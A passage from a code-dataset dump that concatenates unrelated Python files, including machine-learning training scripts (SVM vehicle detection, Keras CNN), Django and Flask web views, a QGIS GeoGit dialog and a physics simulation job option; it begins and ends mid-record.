\n\n","sub_path":"tagger.py","file_name":"tagger.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"569008219","text":"import matplotlib.image as mpimg\nimport numpy as np\nimport glob\nimport time\nimport pickle\nfrom sklearn.svm import LinearSVC\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nfrom helper import single_img_features\n\ncars = glob.glob('data/vehicles/*/*.png')\nnotcars = glob.glob('data/non-vehicles/*/*.png')\n\ncolor_space = 'YCrCb' # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\norient = 16 # HOG orientations\npix_per_cell = 16 # HOG pixels per cell\ncell_per_block = 2 # HOG cells per block\nhog_channel = 'ALL' # Can be 0, 1, 2, or \"ALL\"\nspatial_size = (32, 32) # Spatial binning dimensions\nhist_bins = 32 # Number of histogram bins\nspatial_feat = True # Spatial features on or off\nhist_feat = True # Histogram features on or off\nhog_feat = True # HOG features on or off\n\n\ndef extract_features(imgs):\n # Create a list to append feature vectors to\n features = []\n # Iterate through the list of images\n for file in imgs:\n # Read in each one by one\n image = mpimg.imread(file)\n img_features = single_img_features(image,\n color_space=color_space,\n spatial_size=spatial_size,\n hist_bins=hist_bins,\n orient=orient,\n pix_per_cell=pix_per_cell,\n cell_per_block=cell_per_block,\n hog_channel=hog_channel,\n spatial_feat=spatial_feat,\n hist_feat=hist_feat,\n hog_feat=hog_feat)\n features.append(img_features)\n return features\n\n\nt = time.time()\ncar_features = extract_features(cars)\nnotcar_features = extract_features(notcars)\nt2 = time.time()\nprint(round(t2 - t, 2), 'Seconds to extract HOG features...')\nX = np.vstack((car_features, notcar_features)).astype(np.float64)\nX_scaler = StandardScaler().fit(X)\nscaled_X = X_scaler.transform(X)\ny = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n\nX_train, X_test, y_train, y_test = train_test_split(\n scaled_X, y, test_size=0.1, random_state=1)\n\nprint('Using:', orient, 'orientations', pix_per_cell,\n 'pixels per cell and', cell_per_block, 'cells per block')\nprint('Feature vector length:', len(X_train[0]))\nsvc = LinearSVC()\nt = time.time()\nsvc.fit(X_train, y_train)\nt2 = time.time()\nprint(round(t2 - t, 2), 'Seconds to train SVC...')\nprint('Test Accuracy of SVC = ', round(svc.score(X_test, y_test), 4))\nt = time.time()\nn_predict = 10\nprint('My SVC predicts: ', svc.predict(X_test[0:n_predict]))\nprint('For these', n_predict, 'labels: ', y_test[0:n_predict])\nt2 = time.time()\nprint(round(t2 - t, 5), 'Seconds to predict', n_predict, 'labels with SVC')\nCM = confusion_matrix(y_test, svc.predict(X_test))\nprint('False positive {:.2%}'.format(CM[0][1] / len(y_test)))\nprint('False negative {:.2%}'.format(CM[1][0] / len(y_test)))\n\nwith open('svm.pkl', 'wb') as fid:\n pickle.dump(color_space, fid)\n pickle.dump(orient, fid)\n pickle.dump(pix_per_cell, fid)\n pickle.dump(cell_per_block, fid)\n pickle.dump(hog_channel, fid)\n pickle.dump(spatial_size, fid)\n pickle.dump(hist_bins, fid)\n pickle.dump(spatial_feat, fid)\n pickle.dump(hist_feat, fid)\n pickle.dump(hog_feat, fid)\n pickle.dump(svc, fid)\n pickle.dump(X_scaler, fid)\n","sub_path":"svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"564210647","text":"import pandas as pd\nimport os.path\nimport numpy as np\nimport datetime\n\nDATE = \"Date\"\nACTUALCASE = \"ActualCases\"\nPREDICTS = \"Predicts\"\nDATE_FORMAT = \"%Y-%m-%d\"\nCASES_COLUMN = \"cases\"\nDATE_COLUMN = \"date\"\n\n\nclass baseModel:\n def __init__(self):\n pass\n\n def save_result(self,\n file_name: str,\n dates: pd.DataFrame,\n actual_data: pd.DataFrame,\n col_name: str,\n forecast_data: pd.DataFrame):\n \"\"\"\n Save prediction along with actual result\n :param file_name: file to save result to\n :param dates: dataframe containing dates\n :param actual_data: actual covid data\n :param col_name: column containing actual cases\n :param forecast_data: prediction data\n :return:\n \"\"\"\n df = pd.DataFrame({\n DATE: dates.tolist(),\n ACTUALCASE: actual_data[col_name].values.tolist(),\n PREDICTS:list(map(int, forecast_data.tolist()))},\n columns=[DATE, ACTUALCASE, PREDICTS])\n\n write_header = False if os.path.exists(file_name) else True\n with open(file_name, \"a+\") as f:\n df.to_csv(f, header=write_header, index=False)\n\n def get_actual_dates(self, dates: pd.DataFrame, start_day: int, end_day: int) -> np.array:\n \"\"\"\n Retrieve dates column\n :param dates: dataframe containing dates\n :param start_day: start day for prediction\n :param end_day: end day of prediction\n :return: dates array\n \"\"\"\n\n start_date = datetime.datetime.strptime(dates.iloc[0], DATE_FORMAT)\n\n dates_array = np.array([(start_date+datetime.timedelta(days=i)).strftime(DATE_FORMAT)\n for i in range(start_day, end_day)])\n\n return dates_array\n\n def get_actual_cases(self, cases: pd.DataFrame, start: int, end: int) -> pd.DataFrame:\n \"\"\"\n :param cases: dataframe containing all actual cases\n :param start: start index of actual cases\n :param end: end index of actual cases\n :return: dataframe containing actual cases\n \"\"\"\n if start >= len(cases):\n return pd.DataFrame(np.nan, index=[n for n in range(end-start)], columns=['cases'])\n\n if end < len(cases):\n return cases.iloc[start:end]\n\n return pd.DataFrame(cases[start:].astype(np.int).values.tolist()\n + [np.NaN for i in range(end-len(cases))], columns=[CASES_COLUMN])\n","sub_path":"model/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"593521226","text":"#########################################################\n#\n# SimulationJobOptions/postInclude.Save7GeVpTPileUpTruthJets.py\n# John Chapman\n#\n# Reconfigure MergeTruthJetsTool to save Truth Jets with pT > 7 GeV\n# both in-time and out-of-time.\n#\n# This job option should be added via the postInclude\n# command line argument.\n#\n#########################################################\nfrom AthenaCommon.SystemOfUnits import GeV\nfrom AthenaCommon.AlgSequence import AlgSequence\ntopSequence = AlgSequence()\n\nfor alg in topSequence:\n if 'PileUpToolsAlg' in alg.name():\n alg.PileUpTools[\"MergeTruthJetsTool\"].InTimePtCut = 7.0 * GeV\n alg.PileUpTools[\"MergeTruthJetsTool\"].OutOfTimePtCut = 7.0 * GeV\n break\n if 'MergeTruthJets' == alg.name():\n alg.MergeTruthJetsTool.InTimePtCut = 7.0 * GeV\n alg.MergeTruthJetsTool.OutOfTimePtCut = 7.0 * GeV\n break\n","sub_path":"Simulation/SimulationJobOptions/share/pileup/postInclude.Save7GeVpTPileUpTruthJets.py","file_name":"postInclude.Save7GeVpTPileUpTruthJets.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"5019938","text":"import gym\nimport numpy as np\nimport time\nimport os\n\nfrom openlockagents.OpenLockLearner.util.common import (\n FIXED_STRUCTURE_ATTRIBUTES_GRAPH_SIMPLIFIED_TESTING_PATH,\n CAUSAL_CHAIN_EDGES,\n)\nfrom openlockagents.OpenLockLearner.learner.OpenLockLearnerAgent import (\n OpenLockLearnerAgent,\n)\nfrom openlockagents.OpenLockLearner.main.simplified_testing_scenario import (\n generate_perceptually_causal_relations_simplified_testing_scenario\n)\nimport openlockagents.OpenLockLearner.util.plotter as plotter\nfrom openlockagents.OpenLockLearner.util.setup_util import setup_causal_chain_space, create_and_run_agent\nfrom openlockagents.OpenLockLearner.experiments.IG_vs_random_intervention_common import run_experiment\nfrom openlock.settings_trial import PARAMS\n\n\ndef main():\n fake_model_data = [\n plotter.MultiRunPlotData(\"Fake 1\", np.random.rand(5, 1000)),\n plotter.MultiRunPlotData(\"Fake 2\", np.random.rand(5, 1000)),\n ]\n # plotter.create_plot_from_multi_run_plot_data(fake_model_data, \"Fake x-axis\", \"Fake y-axis\", \"Fake test plot\", data_dir=os.path.expanduser(\"~/Desktop\"))\n\n # compares if random intervention selection is better than intervention selection based on information gain\n\n global_start_time = time.time()\n\n params = PARAMS[\"CE3-CE4\"]\n params[\"data_dir\"] = \"~/Desktop/OpenLockLearningResultsTesting/subjects\"\n params[\"train_scenario_name\"] = \"CE3_simplified\"\n params[\"test_scenario_name\"] = \"CE3_simplified\"\n params[\"train_attempt_limit\"] = 10000\n params[\"test_attempt_limit\"] = 10000\n # params['full_attempt_limit'] = True # run to the full attempt limit, regardless of whether or not all solutions were found\n # run to the full attempt limit, regardless of whether or not all solutions were found\n params[\"full_attempt_limit\"] = False\n params[\"intervention_sample_size\"] = 10\n params[\"chain_sample_size\"] = 1000\n\n params[\"using_ids\"] = True\n params[\"multiproc\"] = True\n\n params['prune_chain_space'] = False\n params['generate_chains'] = False\n\n params[\"chain_data_dir\"] =FIXED_STRUCTURE_ATTRIBUTES_GRAPH_SIMPLIFIED_TESTING_PATH\n params[\"chain_mode\"] = \"full\"\n\n np.random.seed(1234)\n\n structure = CAUSAL_CHAIN_EDGES\n\n perceptually_causal_relations = generate_perceptually_causal_relations_simplified_testing_scenario()\n\n num_runs = 3\n\n run_experiment(\n params=params,\n structure=structure,\n perceptually_causal_relations=perceptually_causal_relations,\n num_runs=num_runs,\n )\n\n print(\"Finished. Total runtime: {}s\".format(time.time() - global_start_time))\n return\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"openlockagents/OpenLockLearner/experiments/IG_vs_random_intervention_simplified_testing_scenario.py","file_name":"IG_vs_random_intervention_simplified_testing_scenario.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"177145397","text":"from PyQt4 import QtGui, QtCore\nfrom opengeo import geogit\nfrom twowaydiff import TwoWayDiffViewerDialog\n\nclass CommitDialog(QtGui.QDialog):\n \n def __init__(self, repo, parent = None):\n super(CommitDialog, self).__init__(parent)\n self.repo = repo\n self.paths = None\n self.diffs = repo.notindatabase()\n self.initGui()\n \n def initGui(self): \n self.resize(600, 400) \n self.setWindowTitle('GeoGit')\n\n self.verticalLayout = QtGui.QVBoxLayout()\n self.verticalLayout.setSpacing(2)\n self.verticalLayout.setMargin(5)\n \n self.msgLabel = QtGui.QLabel(\"Commit message\")\n self.verticalLayout.addWidget(self.msgLabel)\n \n self.splitter = QtGui.QSplitter(self) \n self.splitter.setOrientation(QtCore.Qt.Vertical)\n self.text = QtGui.QPlainTextEdit(self.splitter)\n self.text.textChanged.connect(self.textHasChanged)\n \n self.verticalLayout2 = QtGui.QVBoxLayout(self.splitter)\n self.verticalLayout2.setSpacing(2)\n self.verticalLayout2.setMargin(5)\n \n self.table = QtGui.QTableWidget()\n self.table.setColumnCount(2) \n self.table.setShowGrid(False)\n self.table.verticalHeader().hide()\n self.table.setHorizontalHeaderLabels([\"Path\", \"Status\"])\n self.table.horizontalHeader().setMinimumSectionSize(150) \n self.table.setSelectionMode(QtGui.QAbstractItemView.NoSelection)\n self.table.setRowCount(len(self.diffs)) \n for i, diff in enumerate(self.diffs):\n widget = QtGui.QTableWidgetItem(diff.path)\n widget.setFlags(QtCore.Qt.ItemIsUserCheckable | QtCore.Qt.ItemIsEnabled)\n widget.setCheckState(QtCore.Qt.Checked) \n self.table.setItem(i, 0, widget);\n self.table.setItem(i, 1, QtGui. QTableWidgetItem(diff.type())); \n self.table.horizontalHeader().setStretchLastSection(True) \n self.table.resizeRowsToContents() \n self.linksLabel = QtGui.QLabel(' All       None')\n self.connect(self.linksLabel, QtCore.SIGNAL(\"linkActivated(QString)\"), self.linkClicked) \n self.verticalLayout2.addWidget(self.linksLabel)\n self.verticalLayout2.addWidget(self.table)\n \n self.verticalLayout.addWidget(self.splitter) \n self.buttonBox = QtGui.QDialogButtonBox(QtGui.QDialogButtonBox.Ok | QtGui.QDialogButtonBox.Close)\n self.verticalLayout.addWidget(self.buttonBox)\n self.buttonBox.button(QtGui.QDialogButtonBox.Ok).setEnabled(False)\n self.setLayout(self.verticalLayout)\n \n self.table.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n self.table.customContextMenuRequested.connect(self.showTablePopupMenu)\n \n self.connect(self.buttonBox, QtCore.SIGNAL(\"accepted()\"), self.okPressed)\n self.connect(self.buttonBox, QtCore.SIGNAL(\"rejected()\"), self.cancelPressed)\n \n def linkClicked(self, s):\n if s == \"all\":\n self.selectAll()\n else:\n self.selectNone()\n \n def selectNone(self):\n for i, diff in enumerate(self.diffs): \n self.table.item(i, 0).setCheckState(QtCore.Qt.Unchecked);\n \n def selectAll(self):\n for i, diff in enumerate(self.diffs): \n self.table.item(i, 0).setCheckState(QtCore.Qt.Checked); \n \n def showTablePopupMenu(self,point):\n currentItem = self.table.itemAt(point)\n self.currentPath = unicode(currentItem.data(0)) \n popupmenu = QtGui.QMenu() \n viewChangesAction = QtGui.QAction(\"View changes...\", self.table)\n viewChangesAction .triggered.connect(self.viewChanges)\n popupmenu.addAction(viewChangesAction)\n popupmenu.exec_(self.table.mapToGlobal(point)) \n \n def viewChanges(self): \n dlg = TwoWayDiffViewerDialog(self.repo.getfeaturediffs(geogit.HEAD, geogit.WORK_HEAD, self.currentPath))\n dlg.exec_() \n \n def textHasChanged(self):\n self.buttonBox.button(QtGui.QDialogButtonBox.Ok).setEnabled(str(self.text.toPlainText()) != \"\")\n \n def getPaths(self):\n return self.paths\n \n def getMessage(self):\n return str(self.text.toPlainText())\n\n def okPressed(self):\n self.paths = []\n for i in range(len(self.diffs)):\n widget = self.table.item(i, 0)\n state = widget.checkState()\n if state == QtCore.Qt.Checked:\n self.paths.append(self.diffs[i].path) \n if not self.paths:\n QtGui.QMessageBox.information(self, \"Cannot commit\",\n \"No elements has been selected.\\n Empty commits are not allowed.\")\n else:\n self.close()\n\n def cancelPressed(self):\n self.paths = None\n self.close() \n","sub_path":"src/opengeo/gui/dialogs/commitdialog.py","file_name":"commitdialog.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"642427369","text":"from datatableview import helpers\nfrom datatableview import Datatable\nfrom datatableview.views import XEditableDatatableView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.urls import reverse\nfrom django.views.generic import DetailView, ListView, RedirectView, UpdateView\n\nfrom .models import BatchException, User\n\n\nclass UserDetailView(LoginRequiredMixin, DetailView):\n model = User\n # These next two lines tell the view to index lookups by username\n slug_field = 'username'\n slug_url_kwarg = 'username'\n\n\nclass UserRedirectView(LoginRequiredMixin, RedirectView):\n permanent = False\n\n def get_redirect_url(self):\n return reverse('users:detail',\n kwargs={'username': self.request.user.username})\n\n\nclass UserUpdateView(LoginRequiredMixin, UpdateView):\n\n fields = ['name', ]\n\n # we already imported User in the view code above, remember?\n model = User\n\n # send the user back to their own page after a successful update\n def get_success_url(self):\n return reverse('users:detail',\n kwargs={'username': self.request.user.username})\n\n def get_object(self):\n # Only get the User record for the user making the request\n return User.objects.get(username=self.request.user.username)\n\nclass UserListView(LoginRequiredMixin, ListView):\n model = User\n # These next two lines tell the view to index lookups by username\n slug_field = 'username'\n slug_url_kwarg = 'username'\n\nclass XEditableColumnsDatatableView(XEditableDatatableView):\n template_name = \"batchexception_list.html\"\n model = BatchException\n class datatable_class(Datatable):\n class Meta:\n columns = ['batchExceptionID', 'batchID', 'createdBy', 'createdOn', 'modifiedBy', 'modifiedOn', 'fileName', 'exceptionReason']\n processors = {\n 'batchExceptionID': helpers.make_xeditable,\n 'batchID': helpers.make_xeditable,\n 'createdBy': helpers.make_xeditable,\n 'createdOn': helpers.make_xeditable,\n 'modifiedBy': helpers.make_xeditable,\n 'modifiedOn': helpers.make_xeditable,\n 'fileName': helpers.make_xeditable,\n 'exceptionReason': helpers.make_xeditable,\n }\n\n\n\"\"\"\nclass BatchExceptionDatatableView(XEditableDatatableView):\n model = BatchException\n #template_name = 'users/x_editable_columns.html'\n datatable_options = {\n \t'columns': [\n ('ID', 'batchExcpetionID', helpers.make_xeditable),\n ('Batch Id', 'batchID', helpers.make_xeditable),\n ('Created By', 'createdBy', helpers.make_xeditable),\n ('Created Date', 'createdOn', helpers.make_xeditable),\n ('Modified By', 'modifiedBy', helpers.make_xeditable),\n ('Modified Date', 'modifiedOn', helpers.make_xeditable),\n ('File Name', 'fileName', helpers.make_xeditable) \n ]\n }\n\n implementation = u\n class BatchExceptionDatatableView(XEditableDatatableView):\n model = BatchException\n template_name = 'users/x_editable_columns.html'\n datatable_options = {\n \t 'columns': [\n ('ID', 'batchExcpetionID', helpers.make_xeditable),\n ('Batch Id', 'batchID', helpers.make_xeditable),\n ('Created By', 'createdBy', helpers.make_xeditable),\n ('Created Date', 'createdOn', helpers.make_xeditable),\n ('Modified By', 'modifiedBy', helpers.make_xeditable),\n ('Modified Date', 'modifiedOn', helpers.make_xeditable),\n ('File Name', 'fileName', helpers.make_xeditable)\n ]\n } \n 
                                                                                                                    // Page javascript                                                                                                                             datatableview.auto_initialize = false;                                                                                                         $(function(){                                                                                                                                      var xeditable_options = {};\n             datatableview.initialize($('.datatable'), {                                                                                                   fnRowCallback: datatableview.make_xeditable(xeditable_options),                                                          \n        });                                                                                                                           \n    })\"\"\"\n","sub_path":"clo_project/clo_project/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"233862307","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport logging\nimport multiprocessing\nimport threading\nimport time\nimport traceback\nfrom enum import Enum\n\nfrom webapp_config import APP_URL_PREFIX\n\nfrom flask import Blueprint, Response, request\n\nblueprint = Blueprint(\"webapp-event\", __name__, url_prefix=APP_URL_PREFIX)\n\n\nclass EVENT_TYPE(Enum):\n    CONTROL = \"control\"\n    SCHEDULE = \"schedule\"\n    LOG = \"log\"\n\n\n# NOTE: サイズは上の Enum の個数+1 にしておく\nevent_count = multiprocessing.Array(\"i\", 4)\n\nis_stop_watch = False\n\n\ndef notify_watch_impl(queue):\n    global is_stop_watch\n\n    logging.info(\"Start notify watch thread\")\n\n    while True:\n        if is_stop_watch:\n            break\n        try:\n            if not queue.empty():\n                notify_event(queue.get())\n            time.sleep(0.1)\n        except OverflowError:  # pragma: no cover\n            # NOTE: テストする際，freezer 使って日付をいじるとこの例外が発生する\n            logging.debug(traceback.format_exc())\n            pass\n\n    logging.info(\"Stop notify watch thread\")\n\n\ndef notify_watch(queue):\n    global is_stop_watch\n\n    is_stop_watch = False\n    threading.Thread(target=notify_watch_impl, args=(queue,)).start()\n\n\ndef stop_watch():\n    global is_stop_watch\n\n    is_stop_watch = True\n\n\ndef event_index(event_type):\n    if event_type == EVENT_TYPE.CONTROL:\n        return 0\n    elif event_type == EVENT_TYPE.SCHEDULE:\n        return 1\n    elif event_type == EVENT_TYPE.LOG:\n        return 2\n    else:  # pragma: no cover\n        return 3\n\n\ndef notify_event(event_type):\n    global event_count\n    event_count[event_index(event_type)] += 1\n\n\n@blueprint.route(\"/api/event\", methods=[\"GET\"])\ndef api_event():\n    global event_count\n\n    count = request.args.get(\"count\", 0, type=int)\n\n    def event_stream():\n        last_count = []\n        for i in range(len(event_count)):\n            last_count.append(event_count[i])\n\n        i = 0\n        while True:\n            time.sleep(1)\n            for name, event_type in EVENT_TYPE.__members__.items():\n                index = event_index(event_type)\n\n                if last_count[index] != event_count[index]:\n                    logging.debug(\"notify event: {name}\".format(name=event_type.value))\n                    yield \"data: {}\\n\\n\".format(event_type.value)\n                    last_count[index] = event_count[index]\n            i += 1\n\n            if i == count:\n                return\n\n    res = Response(event_stream(), mimetype=\"text/event-stream\")\n    res.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n    res.headers.add(\"Cache-Control\", \"no-cache\")\n    res.headers.add(\"X-Accel-Buffering\", \"no\")\n\n    return res\n","sub_path":"flask/lib/webapp_event.py","file_name":"webapp_event.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"368276201","text":"\nclass Sector:\n\n    def __init__(self):\n        # armazena o nome da rua\n        self.street =\"\"\n\n        self.data = \"\"\n        self.hora = \"\"\n\n        #armazena o  numero atribuido ao setor da rua\n        self.sectorNumber = \"\"\n\n        #armazena a velocidade media\n        self.averageSpeed =  0.0\n\n        self.amountBus = 0\n\n        self.busList = []\n","sub_path":"Sector.py","file_name":"Sector.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"168209894","text":"\"\"\"\r\n依次绕着X,Y,Z固定轴旋转变换矩阵\r\n\"\"\"\r\nimport numpy as np\r\nfrom numpy import sin, cos\r\n\r\n# 保留三位小数，不使用科学技术法\r\nnp.set_printoptions(precision=3, suppress=True)\r\n\r\nq_x = np.radians(-90)\r\nq_y = np.radians(0)\r\nq_z = np.radians(-90)\r\n\r\nR_x = np.array([\r\n    [1, 0, 0],\r\n    [0, cos(q_x), - sin(q_x)],\r\n    [0, sin(q_x),   cos(q_x)],\r\n])\r\n\r\nR_y = np.array([\r\n    [cos(q_y), 0, sin(q_y)],\r\n    [0, 1, 0],\r\n    [-sin(q_y), 0, cos(q_y)],\r\n])\r\n\r\nR_z = np.array([\r\n    [cos(q_z), - sin(q_z), 0],\r\n    [sin(q_z),   cos(q_z), 0],\r\n    [0, 0, 1],\r\n])\r\n\r\nprint(R_x)\r\n\r\nR = R_z @ R_y @ R_x\r\nprint(R)\r\n","sub_path":"day24-坐标系与空间变换/代码/CoordinateFrame/07-RotationMatrix.py","file_name":"07-RotationMatrix.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"227376754","text":"import os\r\nimport time\r\nimport tensorflow as tf\r\nimport numpy\r\nimport random\r\nimport numpy as np\r\nimport cv2\r\nfrom PIL import Image\r\nfrom keras import *\r\nfrom keras import utils as np_utils\r\nfrom keras.layers import *\r\nfrom keras.models import Model,load_model,model_from_json\r\nfrom keras import backend as K\r\nfrom keras.callbacks import CSVLogger,EarlyStopping,ModelCheckpoint,TensorBoard,ReduceLROnPlateau\r\nfrom keras.optimizers import Adam\r\nfrom Capsule_Keras import *\r\nfrom evaluate_tools import plot_confusion_matrix,evaluate\r\nimport keras.backend.tensorflow_backend as KTF\r\nfrom utils import *\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\n\r\nwidth=420\r\nheight=131\r\nnum_of_classes=3\r\nbatch_size=32\r\ntrain_mapping_file='./data/CNN_x_y_mapping.csv'\r\nvali_mapping_file='./data/CNN_vali_x_y_mapping.csv'\r\nmappings=[train_mapping_file,vali_mapping_file]\r\n\r\npolluted_train_basedir='./data/polluted'\r\npositive_train_basedir='./data/positive'\r\nnegative_train_basedir='./data/negative'\r\npolluted_vali_basedir='./data/vali/polluted'\r\npositive_vali_basedir='./data/vali/positive'\r\nnegative_vali_basedir='./data/vali/negative'\r\nbasedirs=[polluted_train_basedir,positive_train_basedir,negative_train_basedir,polluted_vali_basedir,positive_vali_basedir,negative_vali_basedir]\r\n\r\ndef config_environment(args):\r\n    os.environ['CUDA_VISIBLE_DEVICES'] = '1'\r\n    config = tf.ConfigProto()\r\n    config.gpu_options.allow_growth=True\r\n    session = tf.Session(config=config)\r\n    KTF.set_session(session)\r\n    batch_size=args.batch\r\n    \r\n\r\ndef get_model(args):\r\n    model=Sequential()\r\n    model.add(Conv2D(32,(3,3),input_shape=(args.height,args.width,3),data_format='channels_last'))\r\n    model.add(Activation('relu'))\r\n    model.add(MaxPool2D(pool_size=(2,2)))\r\n\r\n    model.add(Conv2D(64,(3,3)))\r\n    model.add(Activation('relu'))\r\n    model.add(MaxPool2D(pool_size=(2,2)))\r\n    model.add(Dropout(0.25))\r\n\r\n    model.add(Flatten())\r\n    model.add(Dense(32))\r\n    model.add(Activation('relu'))\r\n    model.add(BatchNormalization())\r\n    model.add(Dense(args.n_labels))\r\n    model.add(Activation('softmax'))\r\n    \r\n    model.summary()\r\n    return model\r\n\r\ndef train(args):\r\n    model=get_model(args)\r\n    model.compile(loss='categorical_crossentropy',optimizer=Adam(),metrics=['accuracy'])\r\n\r\n    if not os.path.exists('./log'):\r\n        os.mkdir('./log')\r\n    nowtime=time.strftime(\"%Y-%m-%d-%H:%M\", time.localtime())\r\n    print(\"######### TRAINING FILE POSTFIX #########\")\r\n    print(\" \"*13,nowtime)\r\n    print(\"#########################################\")\r\n    scriptBackuper(os.path.basename(__file__),nowtime)\r\n    cblog = CSVLogger('./log/cnn_'+nowtime+'.csv')\r\n    cbtb = TensorBoard(log_dir='./Graph',batch_size=args.batch)\r\n    cbckpt=ModelCheckpoint('./models/cnn_'+nowtime+'_best.h5',monitor='val_loss',save_best_only=True)\r\n    cbes=EarlyStopping(monitor='val_loss', patience=10, verbose=0, mode='auto')\r\n    cbrlr=ReduceLROnPlateau()\r\n    x_train_list,y_train,indexes=read_x_y_mapping(mappings,basedirs,'train',not args.balance,args)\r\n    x_vali_list,y_vali,_=read_x_y_mapping(mappings,basedirs,'vali',False,args)\r\n    x_vali=load_all_valid(x_vali_list,args)\r\n    try:\r\n        model.fit_generator(\r\n            data_generator(True,x_train_list,y_train,args,indexes),\r\n            validation_data=(x_vali,y_vali),\r\n            validation_steps=1,\r\n            steps_per_epoch=(15),\r\n            epochs=args.epochs,\r\n            callbacks=[cblog,cbtb,cbckpt],\r\n            class_weight=([0.092,0.96,0.94] if not args.balance else [1,1,1])\r\n        )\r\n        model.save('./models/cnn_'+nowtime+'.h5')\r\n        model.save_weights('./models/cnn_'+nowtime+'_weight.h5')\r\n        jst=model.to_json()\r\n        with open('./models/cnn_'+nowtime+'_json.h5','w') as file:\r\n            file.write(jst)\r\n        \r\n        y_pred=model.predict(x_vali)\r\n        y_pred=np.argmax(y_pred,axis=1)\r\n        y_ture=np.argmax(y_vali,axis=1)\r\n        labels=['negative','positive','polluted']\r\n        plot_confusion_matrix(y_ture,y_pred,labels)\r\n        evaluate(y_ture,y_pred)\r\n    except KeyboardInterrupt:\r\n        os.system(\"sh purge.sh \"+nowtime)\r\n    \r\ndef train_on_positive(args):\r\n    model=get_model(args)\r\n    model.compile(loss='categorical_crossentropy',optimizer=Adam(),metrics=['accuracy'])\r\n\r\n    if not os.path.exists('./log'):\r\n        os.mkdir('./log')\r\n    nowtime=time.strftime(\"%Y-%m-%d-%H:%M\", time.localtime())\r\n    print(\"######### TRAINING FILE POSTFIX #########\")\r\n    print(\" \"*13,nowtime)\r\n    print(\"#########################################\")\r\n    scriptBackuper(os.path.basename(__file__),nowtime)\r\n    cblog = CSVLogger('./log/cnn_'+nowtime+'.csv')\r\n    cbtb = TensorBoard(log_dir='./Graph',batch_size=args.batch)\r\n    cbckpt=ModelCheckpoint('./models/cnn_'+nowtime+'_best.h5',monitor='val_loss',save_best_only=True)\r\n    cbes=EarlyStopping(monitor='val_loss', patience=10, verbose=0, mode='auto')\r\n    cbrlr=ReduceLROnPlateau()\r\n    x_train_list,y_train,t_indexes=read_x_y_mapping(mappings,basedirs,'train',not args.balance,args)\r\n    x_vali_list,y_vali,v_indexes=read_x_y_mapping(mappings,basedirs,'vali',False,args)\r\n    x_train_list=x_train_list[t_indexes[1][0]:t_indexes[1][1]+1]\r\n    y_train=y_train[t_indexes[1][0]:t_indexes[1][1]+1]\r\n    x_vali_list=x_vali_list[v_indexes[1][0]:v_indexes[1][1]+1]\r\n    y_vali=y_vali[v_indexes[1][0]:v_indexes[1][1]+1]\r\n    x_train=load_all_valid(x_train_list,args)\r\n    x_vali=load_all_valid(x_vali_list,args)\r\n    try:\r\n        datagen = ImageDataGenerator(\r\n            featurewise_center=False,  # set input mean to 0 over the dataset\r\n            samplewise_center=False,  # set each sample mean to 0\r\n            featurewise_std_normalization=False,  # divide inputs by std of the dataset\r\n            samplewise_std_normalization=False,  # divide each input by its std\r\n            zca_whitening=False,  # apply ZCA whitening\r\n            zca_epsilon=1e-06,  # epsilon for ZCA whitening\r\n            rotation_range=0,  # randomly rotate images in the range (degrees, 0 to 180)\r\n            # randomly shift images horizontally (fraction of total width)\r\n            width_shift_range=0.1,\r\n            # randomly shift images vertically (fraction of total height)\r\n            height_shift_range=0.1,\r\n            shear_range=0.,  # set range for random shear\r\n            zoom_range=0.,  # set range for random zoom\r\n            channel_shift_range=0.,  # set range for random channel shifts\r\n            # set mode for filling points outside the input boundaries\r\n            fill_mode='nearest',\r\n            cval=0.,  # value used for fill_mode = \"constant\"\r\n            horizontal_flip=False,  # randomly flip images\r\n            vertical_flip=True,  # randomly flip images\r\n            # set rescaling factor (applied before any other transformation)\r\n            rescale=None,\r\n            # set function that will be applied on each input\r\n            preprocessing_function=None,\r\n            # image data format, either \"channels_first\" or \"channels_last\"\r\n            data_format=None,\r\n            # fraction of images reserved for validation (strictly between 0 and 1)\r\n            validation_split=0.0)\r\n\r\n        # Compute quantities required for feature-wise normalization\r\n        # (std, mean, and principal components if ZCA whitening is applied).\r\n        datagen.fit(x_train)\r\n        model.fit_generator(\r\n            datagen.flow(x_train, y_train,\r\n                        batch_size=args.batch),\r\n            validation_data=(x_vali,y_vali),\r\n            validation_steps=1,\r\n            steps_per_epoch=15,\r\n            epochs=10,\r\n            callbacks=[cblog,cbtb,cbckpt],\r\n            class_weight=([1,1,1])\r\n        )\r\n    except KeyboardInterrupt:\r\n        os.system(\"sh purge.sh \"+nowtime)\r\n    return model,nowtime\r\n\r\ndef train_on_all(args,model,nowtime):\r\n    